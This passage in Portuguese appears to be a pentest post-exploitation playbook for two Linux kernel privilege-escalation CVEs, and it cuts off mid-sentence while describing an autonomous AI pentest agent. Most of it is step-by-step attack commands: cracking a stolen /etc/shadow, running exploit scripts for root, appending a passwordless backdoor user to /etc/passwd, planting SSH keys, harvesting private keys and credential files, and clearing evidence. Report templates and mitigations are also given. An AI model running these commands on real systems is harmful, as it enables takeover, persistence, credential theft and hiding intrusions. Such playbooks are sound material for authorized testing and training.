# 3. Quebra offline
# John the Ripper
john --format=sha512crypt /tmp/stolen_shadow

# Hashcat
hashcat -m 1800 /tmp/stolen_shadow /path/to/wordlist
hashcat -m 1800 /tmp/stolen_shadow /path/to/rules

# 4. Pivô para outras contas
# Se senha de admin quebrada:
su - admin
sudo -l  # Verificar permissões

Template de Finding para Relatório

FINDING: CVE-2026-46333-POST-EXPLOITATION
CATEGORY: LOCAL_PRIVILEGE_ESCALATION
SEVERITY: HIGH

TARGET:
- Hostname: [hostname]
- Kernel: [uname -r]
- Distro: [cat /etc/os-release]

DESCRIPTION:
Durante a fase de post-exploitation, foi possível escalar de usuário
não-privilegiado para root explorando CVE-2026-46333 no kernel Linux.

A vulnerabilidade permite roubo de file descriptors via pidfd_getfd
durante race condition em do_exit(), explorado via:
- sshkeysign_pwn: roubo de chaves SSH host
- chage_pwn: roubo de /etc/shadow

EVIDENCE:
$ ./vuln_target
VULNERABLE

$ ./sshkeysign_pwn
[+] Stolen SSH host keys to /tmp/stolen_keys/

$ ls -la /tmp/stolen_keys/
-rw------- 1 user user 1831 ssh_host_ecdsa_key
-rw------- 1 user user 513  ssh_host_ed25519_key
-rw------- 1 user user 2610 ssh_host_rsa_key

IMPACT:
- Roubo de chaves privadas SSH do host
- Impersonation do servidor possível
- MITM em conexões SSH futuras
- OU acesso a hashes de senha de todos os usuários

REMEDIATION:
1. Atualizar kernel para versão com patch 2026-05-14+
2. Desabilitar EnableSSHKeysign se não necessário
3. Restringir chage no sudoers
4. Rotacionar chaves SSH comprometidas

Validação de Sucesso

# Confirmar exploração bem-sucedida
ls -la /tmp/stolen_keys/  # OU
cat /tmp/stolen_shadow

# Verificar impacto
# SSH keys: tentar autenticação com chave roubada
ssh -i /tmp/stolen_keys/ssh_host_ed25519_key root@localhost

# Shadow: verificar hashes obtidos
wc -l /tmp/stolen_shadow
grep "^root:" /tmp/stolen_shadow

Mitigação (para reporte)

# Imediato: desabilitar ssh-keysign
# /etc/ssh/ssh_config:
#   EnableSSHKeysign no

# Imediato: restringir chage
# /etc/sudoers:
#   Remover entrada do chage

# Permanente: atualizar kernel
# Patch de 2026-05-14 ou posterior

# Monitoramento:
auditctl -a exit,always -F arch=b64 -S pidfd_getfd

Referências

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-46333
• Qualys Report: https://www.qualys.com/2026/05/14/linux-kernel-cve-2026-46333.txt
• PoC Location: /opt/Tools/ssh-keysign-pwn/

POST-EXPLOIT-LPE-001: CVE-2026-31431 "Copy Fail" - Linux LPE

VULNERABILITY: CVE-2026-31431 (Copy Fail)
SEVERITY: CRITICAL
CVSS: 7.8 (High Privilege Escalation)
AFFECTED: Linux kernels 2017-2026 (commit 72548b093ee3 to a664bf3d603d)
TOOLS: detector_cve_2026_31431.py, poc_lpe_cve_2026_31431.py, payload_cve_2026_31431.py
PTES: 5.1.3 - System / 5.1.9 - Auto-Start (Persistence via credential creation)

Quando Usar em Post-Exploitation

CENÁRIO 1: Acesso inicial como usuário não-privilegiado
- Você tem shell como www-data, mysql, ou usuário comum
- Objetivo: Escalar para root
- Técnica: CVE-2026-31431 LPE via /etc/passwd ou /usr/bin/su

CENÁRIO 2: Container escape (Kubernetes)
- Você está dentro de um pod/container
- Kernel do host é compartilhado
- Page cache é compartilhada entre containers
- Técnica: Mesma LPE, mas impacta todo o node

CENÁRIO 3: Multi-tenant environment
- Shared hosting, shell providers, jump hosts
- Qualquer usuário pode escalar para root
- Técnica: Priorizar /etc/passwd approach (mais confiável)

Passo-a-Passo para Post-Exploitation

# STEP 1: Verificar se kernel é vulnerável (safe)
python3 /path/to/detector_cve_2026_31431.py
# Exit 2 = VULNERABLE → prosseguir
# Exit 0 = NOT vulnerable → tentar outro método

# STEP 2: Escolher abordagem de exploração

# Abordagem A: /etc/passwd UID modification (RECOMENDADA)
# - Mais confiável
# - Funciona em qualquer usuário com UID 4 dígitos
# - Não requer shellcode específico da arquitetura
python3 /path/to/poc_lpe_cve_2026_31431.py --shell

# Abordagem B: Shellcode injection no /usr/bin/su
# - Requer shellcode para arquitetura correta
# - Mais "puro" mas menos confiável
python3 /path/to/payload_cve_2026_31431.py

# STEP 3: Pós-root (Post-Exploitation padrão)
id                    # Confirmar uid=0
whoami                # Confirmar root
cat /etc/shadow       # Dump password hashes
find / -perm -4000    # Encontrar outros setuid binaries

Integração com Outras Técnicas de Post-Exploitation

# Após obter root via CVE-2026-31431:

# 1. Persistence (PTES 5.1.9)
# Criar backdoor user
echo "backdoor::0:0:Backdoor:/root:/bin/bash" >> /etc/passwd

# OU criar SSH key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# 2. Credential Harvesting (PTES 5.2)
# Ler /etc/shadow
cat /etc/shadow > /tmp/shadow.dump

# 3. Lateral Movement (PTES 5.1.8)
# SSH para outras máquinas com chaves encontradas
find /home -name "id_rsa" -exec cat {} \;

# 4. Data Exfiltration (PTES 5.1.7)
# Acessar dados sensíveis
find / -name "*.sql" -o -name "*.bak" -o -name "credentials*"

# 5. Cleanup (PTES 5.1.11)
# Restaurar page cache (remove evidência)
echo 3 > /proc/sys/vm/drop_caches

Template de Finding para Relatório

FINDING: CVE-2026-31431-POST-EXPLOITATION
CATEGORY: LOCAL_PRIVILEGE_ESCALATION
SEVERITY: CRITICAL

TARGET:
- Hostname: [hostname]
- Kernel: [uname -r]
- Distro: [cat /etc/os-release]

DESCRIPTION:
Durante a fase de post-exploitation, foi possível escalar de usuário
não-privilegiado para root explorando CVE-2026-31431 no kernel Linux.

A vulnerabilidade permite write controlado de 4 bytes no page cache,
explorado via /etc/passwd UID modification ou shellcode injection.

EVIDENCE:
$ python3 detector_cve_2026_31431.py
[!] VULNERABLE to CVE-2026-31431.

$ id
uid=0(root) gid=1000(user) groups=1000(user)

IMPACT:
- Controle root completo no sistema
- Possível container escape (Kubernetes)
- Acesso a todos os dados no host

REMEDIATION:
1. Atualizar kernel para versão patchada
2. OU desabilitar módulo algif_aead
3. Reboot para limpar page caches corrompidas

Validação de Sucesso

# Confirmar root
id && whoami && hostname

# Verificar page cache corruption (antes de cleanup)
python3 -c "
with open('/etc/passwd', 'rb') as f:
    f.seek(<uid_offset>)
    print('UID field:', f.read(4))
# Deve mostrar b'0000' se vulnerável e explorado
"

# Após cleanup, deve voltar ao normal
echo 3 > /proc/sys/vm/drop_caches
python3 -c "
with open('/etc/passwd', 'rb') as f:
    f.seek(<uid_offset>)
    print('UID field after cleanup:', f.read(4))
"

Referências

• https://xint.io/blog/copy-fail-linux-distributions
• https://copy.fail
• https://github.com/theori-io/copy-fail-CVE-2026-31431
• /root/pocs/Linux/CVE-2026-31431/ (PoCs locais)

Output Esperado desta Fase

1. Mapa de movimentação lateral realizada (PTES 5.1.8)
2. Lista de backdoors estabelecidas (para remoção) (PTES 5.1.9)
3. Inventário de dados acessados (PTES 5.1.6-5.1.7)
4. Avaliação de impacto (confidencialidade, integridade, disponibilidade)
5. Verificação de limpeza completa (PTES 5.1.11)
6. Credential hunting report (/api-keys + security-patterns plugin)
7. Web shell detection analysis (/webshell-detect + security-webshells plugin)
8. CVE-2026-31431 exploitation results (se aplicável)

Próximos Passos

Após completar esta fase, prossiga para pentest_reporting

🤖 AIRecon Integration for Post-Exploitation

AIRecon é um agente autônomo de penetration testing (v0.1.7-beta) que pode ser invocado como ferramenta incremental durante post-exploitation para automatizar credential hunting, webshell detection, persistence validation, e cleanup verification.

Invocando AIRecon para Post-Exploitation

# AIRecon com keywords de post-exploitation
airecon "pentest post-exploitation credential hunting persistence"

# AIRecon detectará keywords e carregará:
# - pentest-post-exploitation.md (skill primária)
# - pentest-reporting.md (para documentação)
# - MCP tools: hexstrike (credential scanning), virustotal (

…(truncated)